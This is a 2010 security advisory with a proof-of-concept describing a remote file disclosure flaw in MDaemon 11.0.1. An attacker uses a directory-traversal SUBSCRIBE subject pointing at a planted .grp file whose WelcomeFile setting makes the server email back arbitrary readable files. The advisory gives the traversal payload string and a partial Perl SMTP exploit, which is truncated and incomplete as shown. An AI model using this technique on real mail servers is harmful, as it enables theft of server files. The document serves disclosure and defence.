MDaemon Mailer Daemon 11.0.1 File Disclosure

Type packetstorm
Reporter Kingcope
Modified 2010-05-04T00:00:00


                                            `MDaemon Mailer Daemon Version 11.0.1 (LATEST) Remote File Disclosure  
Bug Found & Exploited by Kingcope  
May 2010  
The latest version at the time of this advisory is vulnerble to the attack.  
It seems all files which the SYSTEM account can read can be accessed remotely,  
even accessing files on SMB shares located in the local network might  
be possible.  
The caveat is that only human readable files can be read.  
This bug is complex so let's break the attack down into it's different pieces.  
Mailing list support in MDaemon  
MDaemon support mailing list. When a mailing list is configured, people can  
subscribe and use the mailing list commands which are sent to  
The MDaemon Software stores configurations for mailing lists inside a  
file with the grp extension  
which is located in <MDaemonDir>(normally C:\MDaemon)\App so for  
example in C:\MDaemon\App.  
A mailing list group file can look like the following (only a snippet  
of the file):  
# Mailing List file  
; ListName = test@company.mail  
; Private = N  
; HideFromAddressBook = N  
; AllowExpn = Y  
; ListNameInSubject = Y  
grp file  
Inside the grp file there is a setting for a welcome message which is  
sent when a user subscribes to  
a mailing list.  
The field is named "WelcomeFile", for example this setting can be:  
; WelcomeFile = C:\autoexec.bat  
Directory traversal in SUBSCRIBE (and other commands, SUBSCRIBE is the  
important for the attack)  
When subscribing to a mailing list the user sends an E-Mail with a subject like:  
SUBSCRIBE test-mailinglist@<domainhere>  
In this case a grp file named test-mailinglist@domain.grp will be  
searched for in C:\MDaemon\App\.  
An attacker can now supply dot dot slashes here to point to a  
different file as intended, for example:  
SUBSCRIBE VVV@"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar  
In this case the Mailer Daemon will look for the grp file in the  
location C:\Users\Kcope\OpenShare\foobar.grp.  
If the file exists MDaemon will use this file and send back a  
confirmation E-Mail because of a mailing list subscription.  
The attack does not depend on a mailing list being configured but on a  
file which the user controls under a C: folder (which  
he for example uploaded through SMB or FTP). So this is the only  
migitation for the attack. I did not find a way to  
discard the grp file extension added to the requested file, so it's  
not possible to reuse sent mails by the attacker  
for example.  
Welcome message file and final attack  
As seen before the grp file supports a welcome message file setting.  
When the user responds to the malicious  
subscription request sent by him (it's important to change the domain  
name at this point to the correct one, because  
MDaemon gets confused by the ../ domainname seen above when sending  
the confirmation mail) he will gracefully receive  
the requested file which was set in grp file back as an email  
contained in a welcome E-Mail by MDaemon.  
Exploit PoC  
The following exploit will force the welcome file set in  
c:/users/kcope/openshare/foobar.grp to be sent to the attacker  
after confirming the subscription request.  
use IO::Socket::INET;  
use MIME::Base64;  
$sock = IO::Socket::INET->new(PeerAddr => 'localhost',  
PeerPort => '25',  
Proto => 'tcp');  
print $sock "EHLO you\r\n";  
print $sock "MAIL FROM: <niko>\r\n";  
print $sock "RCPT TO: <MDaemon\@company.mail>\r\n";  
print $sock "DATA\r\n";  
print $sock "Date: 23 Oct 81 11:22:33\r\n";  
print $sock "From: <niko>\r\n";  
print $sock "To: <MDaemon\@company.mail>\r\n";  
print $sock "Subject: SUBSCRIBE  
print $sock "\r\n\r\ntest\r\n.\r\nQUIT\r\n";  
print ".";  
while(<$sock>) {  
Regards and Signed,